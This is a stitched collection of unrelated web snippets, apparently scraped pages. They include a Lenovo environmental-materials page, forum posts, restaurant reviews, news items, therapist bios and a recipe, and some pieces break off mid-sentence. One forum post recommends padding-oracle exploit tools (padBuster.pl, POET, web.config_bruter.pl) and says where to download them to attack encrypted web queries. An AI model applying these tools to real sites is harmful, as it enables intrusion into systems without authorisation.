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Lenovo is proud to be an industry leader in using post-consumer recycled content (PCC) plastics in the manufacture of new computer and monitor products. Lenovo uses PCC in its notebooks, desktops, workstations, monitors, and options. Lenovo started using PCC in selected monitors in early 2007 and today uses PCC across all PC product categories, including in all ThinkVision monitors. In 2009, over 30% net of all plastic by weight[1] used in Lenovo monitors consisted of low-halogen post-consumer recycled content. Lenovo expanded the use of PCC to workstations and desktops in late 2007. In October 2009, Lenovo introduced the ThinkPad SL410 and SL510 notebook models, both of which contain greater than 10% net PCC. Lenovo continues to expand its emphasis on green design with the ThinkPad L Series. The LCD cover, palm rests, and top and bottom cases of these notebooks use up to 30% PCC from sources such as used office water jugs and IT equipment. The L512 ThinkPad contains 18% net PCC, making it the industry's highest amount of PCC in a notebook.[2] Each ThinkPad L Series notebook diverts the equivalent of 10 plastic water bottles from going to landfill. Newly released products that meet EPEAT PCC usage thresholds (10% or greater) include the ThinkPad Edge E420 and E520 (10%), ThinkCenter M71e Desktops (+30%) and the ThinkStation E30 Workstations (14%). Additionally, PCC material use has been implemented and/or planned in a number of select ThinkPad and IdeaPad notebook computers at levels of 1-8% where technically feasible. To overcome the continuing challenges of using recycled content in the design and manufacture of computer products, especially notebooks, Lenovo's team of engineers works closely with our PCC suppliers to develop and qualify new grades of plastic resins previously unavailable to the IT industry. Using PCC in IT products presents significant challenges due to the unique structural, performance, and cosmetic requirements associated with these applications. Depending on the final application requirements, the plastic resins contain between 10% and 65% PCC. Some plastic resins also contain up to 20% post-industrial recycled content (PIC). All of these materials receive environmental and application qualifications prior to their approval and use. Using these engineered plastics not only saves the natural resources and energy that would have gone to manufacture new plastics, but also diverts an equal amount of PCC and PIC from landfills. These environmental benefits are achieved while still creating a product that meet's Lenovo's high performance standards. Since early 2005, Lenovo has used over 73 million pounds (gross) of plastic materials containing PCC and/or PIC in its products, with net PCC of over 25.7 million pounds and net PIC of over 1.8 million pounds. In the first half 2011 alone, Lenovo has used over 11 million pounds (gross) of recycled plastics with net PCC of over 4.6 million and net PIC of over 80,000 pounds. To continue this momentum, Lenovo has challenged its product teams to incorporate some amount of PCC into every PC product released by the end of the current fiscal year (March 2012) and increase each business units use of PCC by 20% year to year. All product teams are showing significant progress towards these goals.
Gross Plastics used that contain PCC or PIC
Net Post Consumer Recycled (PCC) Content used
Net Post Industrial Recycled (PCI) Content used
Since early 2005
73,000,000 lbs
25,765,000 lbs
1,800,000 lbs
Jan 1 – Jun 30, 2011
11,400,000 lbs
4,600,000 lbs
81,000 lbs
Lenovo is committed to minimizing the environmental impact of its products. In order to implement this commitment, Lenovo's chemical and substance management policy supports a precautionary approach, ensuring Lenovo will take appropriate action even if some cause and effect relationships are not fully scientifically established.
Lenovo supports the goal to phase-out1[4] brominated flame retardants (BFRs) and PVC and is committed to driving its supply chain towards this goal. In 2011, Lenovo has made significant progress in phasing out the use of BRFs and PVC in many of its top selling products, including the ThinkPad T420 and X1 notebooks. Lenovo recognizes that there may be challenges to the supply of low halogen commodities for certain applications and products (replacement parts, power related parts, etc.). Lenovo continues to make efforts to drive our supply chain towards low halogen. Lenovo recognizes that the phase-out of these materials is dependent on the availability of suitable alternatives that meet Lenovo's technological, quality, environmental, health, and safety requirements.
Progress towards low halogen
In support of Lenovo's phase out goal, Lenovo is taking a two pronged approach to tackle the phase out of these materials at both a commodity level across all products, as well as at the product level by introducing low halogen products in several product families.
At the commodity level, beginning in 2010, many models of Lenovo ThinkPad notebooks contained hard disk drives, optical disk drives, solid state drives, LCD screens, memory, CPUs, chipsets, and several communications cards that met the iNEMI definition of low halogen. In addition, all plastic enclosures and most components and connectors also met this definition of low halogen (with the exception of printed board laminates). In addition, across all product lines, Lenovo had already at that time completely phased-out the use of PVC and BFRs in all mechanical plastic parts such as product covers, housings, bezels, etc.
At the product level, Lenovo introduced its first low halogen product, the ThinkVision L2440x Wide monitor, in October of 2008, and followed this product with the ThinkVision L2251x Wide monitor released in November 2009. Both of these products were available globally. In late 2010, Lenovo introduced the low halogen M90p desktop. In 2011, all ThinkPad notebooks have been released with low halogen PCBs. Lenovo has made significant progress in 2011 releasing high volume products that meet the iNEMI definition of low halogen, including the top selling ThinkPad T420 notebook, the ThinkCentre M90p low halogen small form factor desktop, the Zhao yang K47 (China) notebook and ThinkPad X1, T520, W520, T420, X220, and X220t notebooks. These products meet the iNEMI definition of low halogen, excluding certain battery and power related parts.[5,6]
Working with suppliersLenovo is continuing to work with its supply chain to drive its low halogen transition across all commodities and product families. In April of 2010, Lenovo held supplier environmental training sessions with a focus on low halogen transition requirements in Beijing, Shanghai, and Shenzhen, China. Over 400 representatives of suppliers to Lenovo's ThinkPad, ThinkCentre, IdeaPad, IdeaCentre and ThinkStation business units attended the training sessions.
For more details on Lenovo's low halogen efforts, please read Lenovo's white paper on this topic.
[4]Lenovo supports the definition of "BFR/PVC free" as defined in the "iNEMI Position Statement on the 'Definition of Low-Halogen' Electronics (BFR/CFR/PVC-Free)." [5]PVC/BFR-free power cords not available in certain geographies. [6] Lenovo reserves the right to substitute non-low halogen parts if supply shortages occur, such as with the Japan earth quake.
Other Substances of Interest – Antimony and Beryllium
Lenovo's Requirements for Materials, Parts and Products (41A7731) specification requires Suppliers to report the presence of antimony and beryllium in any products, materials, or parts specified for use in Lenovo products. A phase-out target of YE 2012 is planned where technically feasible.
EPEAT is a tool to help PC buyers evaluate desktops, laptops and monitors based on their environmental attributes. All EPEAT-registered products must meet 23 mandatory environmental performance criteria. An additional 28 optional criteria are used to determine whether products earn EPEAT Bronze, Silver, or Gold recognition.
Lenovo offers numerous EPEAT Gold rated products in many countries around the world. To get a complete list of Lenovo's EPEAT certified products visit EPEAT's registry search tool.
Learn more about EPEAT by accessing EPEAT's guide to Buying Greener Computers.
Select Lenovo desktops, notebooks, workstations and monitors have passed extensive testing for up to 2,000 chemical emissions to be GREENGUARD certified.
TCO Certification ensures that products come with an ergonomic design, deliver high performance, are low on energy consumption and meet the toughest environmental requirements like recycling and limits on hazardous materials. Lenovo has many TCO and TCO Edge Certified displays, all-in-ones, desktops, and notebooks. For a list of them, use the TCO search page at http://www.tcodevelopment.com/pls/nvp/!tco_search
In October 2009, Lenovo launched the ThinkVision L2251x Wide monitor, the first PC monitor to be TCO Edge Certified. The chassis of the L2251x Wide uses 65% post consumer recycled plastics with an additional 20% post-industrial recycled content and no virgin plastics in the chassis.
For a list of the Lenovo products with the Nordic Ecolabel, click here.
Lenovo is actively phasing out the use of mercury in products, such as by designing display products with fewer lamps and by shifting to new technologies such as LED backlighting. For more information, please see Lenovo's Product Mercury statement.
Lenovo complies with worldwide Restriction of Hazardous Substances (RoHS) requirements. For an update on Lenovo's RoHS status, please click here.
For more information on Lenovo's product content restrictions and packaging requirements visit our Product Content Restrictions page.


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this webcast is straight unwatchable. How on earth do you let the biggest contest of your year be shown in 420p? anyone else have a suggestion? I know friends that are watching it thru the pipe cam on surfline but that don't work for me since i'm not a member.
They moved it down to 360p and it's working fine.
Pipe is epic right now and just going off!! Tune in!
the quarters and semi's have been BANANAS
it's currently coming in at 240p and looks like i'm watching it on an etch-a-sketch.
back to back ars from jhubb was sick
The Semi finals were off the hook! Looking forward to the finals... Lets go Stewart!
pullin for hubb!!!
Gotta pull for Stewart!!...going off!..still painting..
What a great way to start out the year!!

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Megan Fox: First Public Appearance Since Noah's Birth!
Making the most of her Sunday evening, Megan Fox stepped out for dinner in West Hollywood for the first time since giving birth to her son Noah last night (November 11).
Joined by her husband Brian Austin Green, the "Jennifer's Body" babe looked lovely in an animal print sweater and black leggings as she shielded her face from the shutterbugs.
And as Megan and Brian made their exit from Jar Restaurant, they relied on a big umbrella to keep them dry while scurrying to their big black SUV.
Last month, Ms. Fox revealed, "We have been very lucky to have had a peaceful few weeks at home, but I would like to release this myself before others do. I gave birth to our son Noah Shannon Green on September 27th. He is healthy, happy, and perfect."
Enjoy the pictures of Megan Fox out at Jar with Brian Austin Green (November 11).
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Best Of :: Food & Drink
Nundini Food Store At Nundini Food Store, $1.50 will get you a scoop of real Italian gelato. Gelato has less air churned into it than ice cream, so it's creamier and a whole lot denser. It also stays cold longer and doesn't melt as quickly as its U.S. cousin. At Nundini, it's hard to recommend one flavor over another, since they change every week. But if you come across zuppa inglese (English soup), try it: Made with vanilla gelato and brandy-soaked pieces of cake, it isn't available anywhere else in Houston. Traditional flavors include nocciola (hazelnut) and that all-time Italian favorite, the soft green-colored pistachio gelato. Its subtle, nutty spice goes down oh-so-easily.
Byzantio Cafe Ilias Giannakopoulos gutted his house on West Gray to make room for the European flourishes omnipresent in this hip new cafe, where he and partner Dora Manolopoulos keep the Greek tradition of hospitality alive day after day. Inside you'll find a smorgasbord of Hellenic delights: stuffed grape leaves, fresh olives, sliced meats and feta, feta, feta. But it ain't the food that makes Byzantio the best new cafe; it's the atmosphere, where wood meets stone meets some random Greek guy yelling about something. Welcome to Europe in the middle of the Montrose. The place changes faces once the sun goes down; the music starts pumping, and maybe, just maybe, the patrons start dancing on the bar. Hey, it's a Greek thing.
Cafe Brasil The perfect microcosm of Montrose, Cafe Brasil does it all. It has great ambience, a lively, diverse crowd and surprisingly good food. The scones, baked on-site every morning, are miracles of flaky, buttery deliciousness. It's one of the few places in town where you can order an inexpensive, top-notch salad, and the beer flows as freely as the coffee. Housed in an old brick storefront with vintage windows, Brasil hosts wooden tables brimming with professors, chat groups and mysterious, bearded bohemians. The lime-green walls, leafy patio and chic blue tile-work of the bar give the place a classy, vaguely Latin American feel. On certain nights, Brasil even screens classic and foreign films. But don't let the cosmopolitan trappings fool you: One taste of the eggs and crawfish étouffée, and you'll agree this popular hangout is a Bayou City classic.
Da Marco You'll get the best pizza and pasta dishes in the city at this intimate and unassuming little Montrose restaurant. And you'll also find cutting-edge fare such as tuna tartare salad and an appetizer of cold lamb's-tongue slices served with the Tuscan mustard-brined fruits known as mostarda. Some of the unusual varieties of fish, such as the branzino (Italian sea bass) are jet-flown in from Italy. Chef Marco Wiles strives to offer Houstonians the same kind of new Italian cuisine that Food Network boy wonder Mario Batali serves at Babbo, one of New York's favorite restaurants. The wine list is just as innovative as the food, with lots of crisp Proseccos and unusual Piedmont reds. Daily specials take advantage of local seasonal ingredients, such as the fresh fig compote with gelato. And the service is exceptionally well informed, attentive and cordial -- unless you ask for spaghetti and meatballs.
Becks Prime If you really want your burger your way -- say, mooing on the inside, black on the outside -- this is your place. Huge juicy beef patties -- made with a half-pound of mesquite-grilled, ground chuck -- as well as fresh toppings make this one of the best burgers in town. Thick fries and forget-the-diet milk shakes complete the experience. Pricey, yes, and don't expect to drive through too quickly. The folks at Becks Prime may think they're a fast-food place, but the meals are mouthwatering, and that takes a little time. Feel like being healthy? The grilled chicken sandwiches are great. And where else can you grab a steak or swordfish sandwich without getting out of your car?
Captain Benny's Half Shell Oyster Bar This small tugboat-shaped eatery, nestled almost out of sight off South Main, is a happy docking place for a diverse array of diners with a lust for crustaceans and other fare from la mer. Folks know that if it's fried or on the half-shell, it's fresh. And just a glance at the clientele proves there's a seafood fan in all of us: A diverse group of patrons converges here. You'll find folks in Sunday-go-to-meetin' duds, business suits, punk dos and tattoos, all united by their love for Captain Benny's seafood. And the management recently added broiled entrées to the lineup, so health-minded customers have been showing up in their gym clothes, too.


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With capital budgets relatively frozen for the foreseeable future, a producer's fleet will definitely age. But this isn't the only problem with the passing of time.
Recent surveys show that people taking care of our fleets are getting older. Fewer young people are entering this segment of the workforce. And those who are in it are retiring.
So do you know where you are going to find your next vehicle mechanic?
Managers may find it easy to advertise for and hire truck mechanics now that the economy is in trouble. But like all recessions, the current downturn will not last forever. When things get better, it will be difficult to find people with skills to work on highly specialized ready-mix trucks that sit on truck chassis and trailers.
There could be some hope ahead. The Obama administration has indicated that along with funding infrastructure and construction projects, it will place a renewed emphasis on vocational training.
Producers can help with this training initiative by working with secondary schools and post-secondary schools (community colleges) in their areas to promote manual arts training.
To attract future employees, set up internships and tuition reimbursement programs in your shops. If your shops are unionized, coordinate with union leaders to make sure they see this as a tie-in with their own apprenticeship programs and a chance for mutual benefit.
SkillsUSA, SuperTech
You can support and use national organizations as fertile recruiting ground. An excellent way to identify and attract the best and brightest is to become involved with SkillsUSA. Its annual national, state, and local competitions have contestants cycle through 14 testing stations involving electronics, engines, wiring chassis, drive trains, hydraulic systems, brakes, and more. One of the most comprehensive programs is Diesel Equipment Technology.
Sponsorship opportunities in these competitions abound. For little cost, you can provide vehicles, volunteer judges, or provide meals or materials. What better way to make a positive impact on the future employees you will want in your shops.
Motivation must go beyond recruiting. Several studies show that recognition is more important than pay in creating job satisfaction. That's why technician competitions are growing in popularity, as witnessed by the increase in entrants in the Technology and Maintenance Council's annual SuperTech skills and knowledge competition.
For the past few years, I've been privileged to be a juror for the Technician of the Year award, sponsored by Bendix, Dayton Parts, Haldex, Mahle, and SKF. The high skill levels of the people maintaining our trucks always amazes me. The supervisor describes the mechanic's work history, training, and contributions to his company and community, and states why the entrant should be selected using a six- to seven-page entry form. For more information, visit www.techoftheyear.com.
Companywide competitions can also motivate and recognize outstanding achievers. The best recognize all who participate and provide awards for improvement and achievement. When you do, please be sure to send us an announcement of the winners and photos.
Paul Abelson is a former director of the Technology and Maintenance Council of the American Trucking Association and is currently on the Board of Truck Writers of North America. email@example.com.


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hello everyone,
I am on various irc networks and i have been seeing people ask about what is the Padded Oracle Exploit Attack, how does it work, and what are
some available tools to help us in exploiting/testing this vulnerability. Well i decided to post a few links for everyone so that they might read up
more on this great vulnerability and test out some of the great tools available to us.
For your information backtrack does carry 'padBuster.pl' which is a perl script that will help you encrypt/decrypt you sample encrypted string.
This is a great tool and can be extremely helpful, and if anyone has anyone questions on usage i would be more than happy to try and help out.
Here is a great link to help you get started using padBuster.pl and for a better understanding of the Padded Oracle Exploit vulnerability.
There is another tool that i am hoping that will be added to either the backtrack repo's or be a default app on this great distro. This apps name is
called "POET" and stands for Padding Oracle Exploit Tool, this is a gui app written in the javascript langauge and was written by the gentlemen
responsible for discovering the exploit.
Here is the link to download the javascript application: http://netifera.com/research/
I know that some people are more comfortable using gui apps than they are using command line applications, and if you fall in this category then
POET is the application for you, and it is decently fast considering the work the application must do.
One more perl app that i would like to request codes hand in hand with the padBuster.pl perl app is a perl script called web.config_bruter.pl
This Perl script goes hand in hand with the Perl script padBuster.pl Basically in a brief sense this perl script -> "web.conf_bruter.pl" basically works with padBuster.pl to generate a payload that can be used to gain access to the encrypted query.
You can find the web.conf_bruter.pl Perl script here: http://www.exploit-db.com/exploits/15213/
There are a few videos on youtube to help you use these apps, so be sure to look for help there or if you have any questions i would be happy to
help out.
Well i hope this helps some people out and maybe these apps will be added to BT and if not you can always just download them from the links
provided up above.
I would like to take this time to thank the great people at BT, what you guys do is amazing, and have completely changed the area of computer
security for the better. Thank you again.
Thats it... I hope you have found this helpful.


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Stephen Price, D.Min.
Licensed Pastoral Psychotherapist
133 Grove Street, Peterborough, New Hampshire 03458
All of us as human beings experience depression from time to time. We are creatures of habit and some of us can get into patterns of being depressed on a regular basis. Depression can come from multiple sources. A lack of confidence and self-esteem are major causes of depression. Depression can also be seen as the opposite of expression, meaning that some people hold anger and assertiveness inside. That powerful energy needs to go somewhere, so it is turned back against the self, resulting in depression (sort of an attack against the self). My approach is to help you become more aware of what may be contributing to your depression and addressing those issues. I am good at helping people shif


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Was the Super Bowl the last true football game we'll ever see?
Published Feb. 5, 2013
It's hard to tolerate the extreme sadness about the great Super Bowl game played Sunday when the Baltimore Ravens held on to beat the San Francisco 49ers. I'm sad because it could be the last real football game any of us ever see.


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This is my first time really using any linux distro. Ive installed backtrack 4 as a persistent install onto a 16gb thumb drive. Everything works fine, but i have no network interfaces.
After searching these forums and the internet, i found some tutorials on how to install my card, which is a intel pro 3945abg. All the tutorials say its built into backtrack 4, and to install it i just browse to usr/src/drivers/ipw3945. However this is where i run into issues, there is no such directory as usr/src/drivers. I can get to usr/src, but under this i only have linux, and then two more linux-source- (i cant remember rest of the names), either way there is no drivers folder.
Basically im trying to figure out why this folder would be gone, when in every tutorial ive read says to go to that path.
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While the war wages on in Iraq, the Buffalo Sabres have waged their own war this season. It has been a war of survival and dignity. Wednesday night, the Sabres battled back from a 3-0 deficit to beat the Atlanta Thrashers 4-3 in HSBC Arena. While the playoff hopes have long been gone, the team still fights and shows a spark which may be a good sign of things to come next season.
The Sabres Report - April 5, 2003


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As I promised on Ray Horner's radio show here is a really easy and delicious recipe for Guacamole. Yum.
For the chile paste:
1 tbsp. finely chopped white onion
1 tbsp. firmly packed, chopped fresh cilantro
2 tsp. finely chopped jalapeño, or more to taste (see note)
1 tsp. salt, or more as needed
For the dip:
3 medium ripe but firm Hass avocados
3 tbsp. diced tomato
2 tbsp. firmly packed, chopped fresh cilantro
1 tbsp. finely chopped white onion
Splash of freshly squeezed lime juice
Salt, if needed
Grind the onion, cilantro, jalapeño and salt together in a molcajete until all of the ingredients are very finely ground. Alternately, use a pestle, wooden tamper or fork to mash all of the ingredients into a paste in a wide hardwood bowl.
Cut each avocado in half, working the knife blade around the pit. Twist the halves to separate them and flick out the pit with the tip of the knife. Rest an avocado half cut side up in the palm of your hand and make 3 or 4 evenly spaced lengthwise cuts through the avocado flesh, down to the skin without cutting through it. Make 4 crosswise cuts in the same way. Scoop the diced avocado flesh into the bowl with paste. Repeat with the remaining avocado halves.
Gently fold the avocado into the paste, keeping the avocado in as large pieces as possible. Add the remaining tomato, cilantro, onion and lime juice, folding in gently. Taste and add salt if necessary. Serve immediately with tortilla chips.
Makes 4 servings.
Note: Jalapeño peppers can vary widely in hotness. Use more or less to taste. Remove seeds and trim away white pith before dicing jalapeño for less heat, or leave jalapeño out completely for mild dip.
- Adapted from
Rosa's New Mexican Table,
Roberto Santibañez
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Ohio leaders react to delay of 'ObamaCare'
(Columbus) - Ohio officials are praising a move by President Barack Obama's administration to delay a central requirement of his health care law.
The Obama Administration unexpectedly announced on Tuesday a one-year delay in a requirement that medium and large companies provide coverage for their workers or face fines.
Ohio's insurance director, Lt. Gov. Mary Taylor, says she hopes the delay will lead to repealing the mandate altogether.
"It's one more indication that 'ObamaCare' is unworkable," she said.
Taylor still sees the law creating uncertainty for small businesses and that's holding up their willingness to hire.
"They're not looking at just tomorrow they're making decisions based on the future and so it still does impact the decision making when they look at who to hire and will they expand their business," she said.
The health law requires companies with 50 or more workers to offer affordable coverage to their employees or face potentially large fines if just one worker ends up getting taxpayer-subsidized insurance.
Republican U.S. Sen. Rob Portman of Ohio says in a statement the delay is proof the plan is more onerous and complex than initially envisioned.
"Americans deserve access to affordable and quality health care that best suits their individual needs, and government has no business forcing individuals, families, and employers to enter into costly health care exchanges," he said.
The Administration says it's responding to businesses' concerns.
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Hi guys, I'm new to the forum and had a bit of a search through old threads for info but I know times change, places come and go so I'm just wondering if anyone can help.
I've been training in muay thai for the last year at Shor Chana in Preston having private one on one tuition with Master Chana as well as group classes and I absolutely love it. I want to step up my game and incorporate BJJ also so I have a complete all round fighting style. I live in Clitheroe and I'm looking to find somewhere as local as possible to learn Brazilian Jiu Jitsu that is certified so I can work my way up through belts and not just learning from a cowboy lol.
Shor Chana is a bit of a trek for me going to Preston so ideally I wouldn't want to be travelling so far for BJJ because there's not enough hours in the day as it is and I'm on the big save for a house deposit this year so the closer to home/work the better for me with fuel costs! Can anyone recommend anywhere?


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They look great in my Vette. They were very easy to install, and I was happy that they arrived in such a short time.
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The Lloyd mat for my C6 convertible was a very good investment for protection of spills and dirt in the Corvette's trunk area. Originally I wanted the Lloyd Signature Rubber mat, but for the extra money and corvette flag's logo that comes with that mat, it's not worth the money. My only 2 negative comments about the Rubbertite mat are 1) they still are a bit pricey 2) the cut could have been neater in a few of the spots. Less that, the mat is fantastic.


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HESPERIA - Two alleged gang members are scheduled to be in Victorville Superior court today for reportedly kidnapping a couple and keeping and torturing them in a Hesperia trailer, according to reports and a complaint filed by the District Attorney's Office.
Nicholas Hernandez, 23, and Ralph Alfonso Hernandez, 31, pleaded not guilty to three counts of kidnapping, attempted murder, three counts of assault with a deadly weapon and participation in a criminal street gang on March 8. Ralph Hernandez also pleaded not guilty to being a felon in possession of a firearm.
A third man, 37-year-old Manuel Barragan, is still outstanding but was charged and named in the complaint as participating in the alleged crimes.
The trio reportedly assaulted the couple in the trailer over an undisclosed amount of time, according to the court document. At one point, the couple was reportedly attacked with a baseball bat, the complaint shows.
The Hernandezes, their relationship has not been determined, were arrested on the evening of March 6, according to the complaint.
On the night of March 6, San Bernardino County Sheriff's deputies were called out to a home near Eucalyptus Street and Pinon Avenue in Hesperia for a disturbance. Records show Barragan owns property in the 11000 block of Pinon Avenue.
According to witnesses, a badly beaten man managed to escape from a trailer on the Pinon Avenue property the night of March 6 and went to a nearby home to ask for help. He then reportedly led investigators to the woman still inside the trailer.
The extent of the couple's injuries were not disclosed. It also wasn't clear from the complaint how long the couple had been held against their will on the property.
Monday's court date is for a pre-preliminary hearing, court records show.
The complaint states the Hernandezes and Barragan participated in the alleged kidnapping and attempted murder of the couple in order to further their gang. All three men named in the complaint have previous criminal convictions, court records show.
All three are facing state prison time for the crimes if convicted.
Hesperia detectives are still searching for Barragan. Anyone with information on the case is asked to contact the Hesperia station at 760-947-1500 or call 911.


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©2005 Jenna Blum; (P)2007 Recorded Books, LLC
"Blum's spare imagery is nightmarish and intimate, imbuing familiar panoramas of Nazi atrocity with stark new power. This is a poised, hair-raising debut." (Publishers Weekly)
"An absorbing tale of two women's struggles with the burdens and responsibilities of remembrance." (The Boston Globe)
I am an avid "reader"- I prefer to listen to books rather than read them due to the added dimension added by the narrator.
"Well done"
I thoroughly enjoyed this wonderful story. The characters were very well developed and the readings by Francisco Rivela were excellent- great accents and just a great story. A disturbing but enlightening insight into the role of German women during Nazi Germany. Would highly recommend this book.
"Another Perspective"
I enjoyed this book because it offered yet another perspective which is becoming much more prevalent in these types of stories and, thus, more interesting. I read quite a bit in this genre of WWII, Holocaust, Germany and the viewpoint of a German woman's past life and daughter's current life is unique. It is not easy to read the flash back forward, but I think this author pulled it off without causing too much confusion. However, I really did like the memoir and it is a great book about WWII from the German side in portraying that not all Germans were despicable during the war. One likes to think that is true, and this story was yet another way of letting that be known as a possibility
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"Heavy! Very good read"
GAH! This is getting heavy! About half way through and I think some of this will linger...
Done and loved it! great story!
"A book on tape that will keep you awake in the car"
This is one of the few books whose narrator has kept me awake while driving hours and hours late at night. Usually I start dozing and switch to music, but I couldn't stop listening to this book, and was sad was it had ended.
"Heavy, Hellish, and Unforgettable"
I have read quite a few nonfiction Holocaust/Nazi Germany books and am usually leery of fictitious books concerning the Holocaust. However, this book was rather 'enjoyable'. It is, of course, a very heavy book and not a "fun" read, but it is enjoyable! It not only felt real (I constantly had to remind myself not to discuss what went on in this book so that I would not get it confused with reality), but it had me on the edge of my seat.
Typically Holocaust stories are about the Holocaust victims and most people shy away from the topic of what the Germans went through (guilty/not guilty/etc...). I thought that the author was able to bring about this topic beautifully and even mentioned several books that "Trudy" is reading and that I myself have read ("Hitler's Willing Executioners", etc...) and that are wonderful resources for anyone to read that wants to know more about Nazi Germany and the Holocaust.
I highly recommend this book!
Addicted to Audible!
I was hooked on this book from the beginning. It delt with two major topics, that of survivors guilt and of judging others. It was interesting to see this horrible time in history tackled in a different way. The character development was excellent and the story kept me anxiously waiting to see when and if Anna would finally tell Trudie about her past. I highly recommend it!
"Brilliant insight into German minds and hearts"
Sensitively written. Excellent development of characters... they came alive and touched my heart. I gained a deeper understanding of what the German people experienced in and after the war. Highly recommended.
"This book was a read for my bookclub but"
As I said I read it because of bookclub but would have picked it to read on my own!
I find the WWII time period so interesting and half of the book was set then.
She was easy to listen to.
The second half was about the relationship between a mother who had lived through WWII & her daughter who was born out of a forbidden love! Since I am a daughter of a mother who also lived through WWII, I could relate to what the daughter in the book was going through with the mother.
Since I have lost my mother just a few years ago, I understand how the daughter in the book was feeling, losing her mother!
The well written history was remarkable in its detail of this family.
Continued to learn what happened during the war.
Highly recommend
"A sad but sympathetic story"
It was an easy listen. It is a great story with much education about the holocaust. The story really puts you back in that time frame and you are able to feel and sympathize with what how Germans felt during the war....do you just put your head down and ignore what is going on or do you risk your own life and help your Jewish neighbors?
When Anna came home to find the
There is a lot of German spoken in the book. It was nice to have the correct pronunciation and enunciation so that it flowed well with the story.
More than anything I felt frustration and sadness for the characters. Frustration for Anna during the war and her time with
I wish the story would have ended with a little more explaination. Did Trudy find out everything from Anna?
"Brilliant from start to finish."
Great read, great story, great narration. Would recommend to anyone interested in war time drama behind the scenes.
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My photos are 2mb.. How do I make them 17K???
Just got back from the tattooist, I'll load a pic when the wrap is off.
I'm getting my first one done next week, though nothing as epic as some of those shown here.
I've been proscrastinating about it for years, but then my wife got one done last week and pushed me over the edge; after all, everyone knows that the more tattoos you have the harder you are, and I can't have my wife being harder than me.
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a bulldog with scroll and union jack/st george cross behind it on the top of my shoulder.
arsenal cannon (old one, not the new shit one) on my chest
3 lions on my calf
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U.S. Postal Service to honor National Champions with special envelope
The U.S. Post Office is marking the University of South Carolina's baseball national championship with a commemorative envelope and a special postmark.
Starting Monday, the envelopes will be available for $5 at the USC Post Office at 1600 Hampton St. and the Main Post Office on Assembly Street. Mail-in orders can be sent to Gamecock Envelope, PO Box 69, Columbia, SC 29202-0069.
A special postmark – National Champions Station -- will be available free for items bearing first-class postage at the Main Post Office and the USC Post Office on Monday. It will also be available by mail for 30 days. To mail in items for the special USC postmark, send to USC Postmark, PO Box 69, Columbia, SC 29202-0069 or send to Gamecock Postmark, 1600 Hampton St., Columbia, SC 29208.
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Psychotherapist, MS, LPC, NCC
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I have significant experience working with individuals struggling with anger and anger control problems and I have a very broad range of healthy coping skills that I can offer. Specific skills that I often incorporate into my treatment course are Mindfulness and Self Soothing Skills. Exploring personal beliefs, coping patterns, triggers and changing the way in which one thinks through applying cognitive behavior interventions can be especially helpful in decreasing anger.


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Watch new clips airing on Sesame Street this week!
Watch new clips airing on Sesame Street this week!
Murray talks about the word "adventure".
Follow the letter "A" on an adventure.
Watch videos with your favorite Sesame friend Elmo.
Tune in for some alphabet fun.
Rosita helps Abby Cadabby and Zoe create a story.
Ginnifer Goodwin and Abby Cadabby talk about the word "adventure".
Sing along with Sesame songs!
Nom nom nom! Have some cookies and watch Cookie Monster videos.
Sarah Michelle Gellar and Elmo talk about the word "disappointed".
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Encouraging healthy habits can be simple and fun.
Get to counting with these videos.
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Laetificus Luncheon
Saturday, February 9, 2013 from 12:00 PM to 4:00 PM (PST)
Who's Going
San Francisco, California
London, United Kingdom
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Event Details
Please join us for the Laetificus Friends and Family Luncheon.
This is an exclusive engagement reserved for Friends & Family.
While enjoying an abundance of food and drink, Ashley and I will
Walk you through a brief preview of our seminar followed by your
critiques and suggestions.
We also want you to take part in the filming of our first web-show.
The subject will be "How to make a marriage last a lifetime". With special
guests, Don & Jerry Duplechan.
"Laetificus" is Latin for spreading happiness. Our motto of No I, Know I, No eye
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- No I- Self is at the root of all sin.
- Know I- Knowledge about one's self is the only way to be truly happy.
- No eye- 1 Cor. 2:9 However, as it is written: "No eye has seen, no ear has heard, no mind has conceived what God has prepared for those who love him".
This is a life changing experience we would like to first share with those closest to us before we venture out into the world. Our mission is to help people see through different eyes.
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I'll bet you can't name me a literary festival where screaming at the top of your lungs in the middle of the street is part of the celebration: it's the 2014 Tennessee Williams Literary Festival!
Tennessee Williams (1911 – 1983) was a famed American playwright who wrote plays, short stories, poetry, essays, and memoirs, adapting much of his best work for the silver screen. Williams also happened to be a New Orleans resident during one of his most creative periods and some of his works are based on the city. "A Streetcar Named Desire," for example.
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At the pinnacle of his coaching career - a 1994 CIF-SS Division VI football championship win over a district rival - Tim Nelson felt he was on a deserted island.
And it wasn't because Alta Loma had defeated Chaffey 24-0 on the road.
The scene repeated itself two years later when Alta Loma, which had elevated itself from the bottom in the sport, won the Division IV title at the University of Redlands with a 26-16 decision over Corona Centennial.
The feeling remained throughout his career, which included starting football programs at Riverside King and Colony, another Chaffey Joint Union High School District site.
Now, nearly 20 years after the first title and seven years since leaving Southern California, Nelson has made a decision to leave his island and live openly on the mainland.
"It is time to come clean with who I am and always have been. I want to be judged in coaching by my accomplishments and nothing else," Nelson said this week from his home in Virginia.
"It is for this reason I never spoke of or told anyone in my coaching field that I am gay."
Pause for a few seconds for the impact of such a revelation by a man who was so prominent in the most macho of sports.
"Moving allowed me to start a new chapter in my life without the public criticism I would have probably encountered in California," Nelson said. "I'm sure I'm not the only successful high school head football coach who is gay, but maybe I can be the first to express it."
Any criticism might come as a shock to younger generations. But for those who feel as though gay issues no longer are headline news, just remember the uproar and ongoing debate about the state's Proposition 8 in 2008.
To date, no high school head football coach - past or present - has admitted to being gay. Stereotypes that deal with leadership and aggressiveness remain prevalent in 2013, as evidenced by recent national cases.
The anti-gay sentiment was expressed by coaches in Alabama and Wyoming who used homophobic and sexist language.
It should be noted while at Alta Loma, after a Mt. Baldy League game at Chaffey College, Nelson nearly brawled with his counterpart.
"I'm a competitor," said Nelson, who played collegiately at Azusa Pacific, "and there were certain coaches that I just didn't want to lose to."
It had nothing to do with lifestyles. Just the competitive nature of the sport and those involved in it.
"I loved coaching, I miss it. My life has been blessed with the opportunity to coach football and work with fine young men and coaches for 25 years; it gave me a sense of purpose, an identity and the excitement of molding raw individual talent into championship-caliber football teams," said Nelson, who said he knew early in life he was different.
"I knew there were other things in my life I wanted to do. I also realized that I never denied my lifestyle as well as I never shouted it from the rooftops either. Nobody does."
Nelson, a special education instructor who turned 55 on May 2, said two factors guided his decision to create a footbridge to his island.
"I've thought about this for a long time," he said. "But I wanted to wait until the last kids that I had coached were of the age they were done with college. They are now young men and make their own decisions.
"They can judge me how they want. I didn't want to put them in an uncomfortable position."
